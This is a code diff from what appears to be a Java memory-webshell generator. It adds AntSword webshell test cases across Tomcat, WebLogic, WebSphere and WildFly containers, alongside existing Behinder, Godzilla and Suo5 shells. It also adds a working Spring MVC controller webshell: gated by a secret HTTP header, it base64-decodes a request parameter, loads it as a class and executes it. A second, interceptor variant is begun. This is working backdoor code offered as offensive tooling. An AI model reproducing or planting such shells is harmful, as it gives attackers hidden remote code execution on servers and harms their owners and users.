|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -66,6 +70,8 @@ public class Tomcat7ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -74,10 +80,14 @@ public class Tomcat7ContainerTest {
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
|
||||
);
|
||||
|
||||
+14
@@ -54,6 +54,9 @@ public class Tomcat8ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
@@ -66,6 +69,9 @@ public class Tomcat8ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
@@ -78,6 +84,9 @@ public class Tomcat8ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
@@ -90,9 +99,14 @@ public class Tomcat8ContainerTest {
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
|
||||
|
||||
+10
@@ -49,6 +49,8 @@ public class Tomcat9ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -57,6 +59,8 @@ public class Tomcat9ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -65,6 +69,8 @@ public class Tomcat9ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -73,9 +79,13 @@ public class Tomcat9ContainerTest {
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
|
||||
|
||||
+4
@@ -44,14 +44,18 @@ public class WebLogic1036ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.Base64),
|
||||
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.Base64),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+4
@@ -46,14 +46,18 @@ public class WebLogic12214ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.Base64),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+4
@@ -46,14 +46,18 @@ public class WebLogic14110ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.Base64),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+4
@@ -49,14 +49,18 @@ public class WebSphere855ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+4
@@ -49,14 +49,18 @@ public class WebSphere905ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+5
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.integration.websphere;
|
||||
package com.reajason.javaweb.integration.websphere7;
|
||||
|
||||
import com.reajason.javaweb.memshell.WebSphereShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
@@ -49,14 +49,18 @@ public class WebSphere700ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
+4
@@ -47,14 +47,18 @@ public class Wildfly18ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+4
@@ -47,14 +47,18 @@ public class Wildfly23ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+7
@@ -54,6 +54,8 @@ public class Wildfly9ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -62,6 +64,8 @@ public class Wildfly9ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -70,6 +74,9 @@ public class Wildfly9ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar)
|
||||
|
||||
+62
@@ -0,0 +1,62 @@
|
||||
package com.reajason.javaweb.memshell.springwebmvc.antsword;
|
||||
|
||||
import org.springframework.web.servlet.ModelAndView;
|
||||
import org.springframework.web.servlet.mvc.Controller;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordControllerHandler extends ClassLoader implements Controller {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public AntSwordControllerHandler(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
|
||||
public AntSwordControllerHandler() {
|
||||
}
|
||||
|
||||
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
try {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordControllerHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
+80
@@ -0,0 +1,80 @@
|
||||
package com.reajason.javaweb.memshell.springwebmvc.antsword;
|
||||
|
||||
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
||||
import org.springframework.web.servlet.ModelAndView;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
|
||||
public static String pass;
|
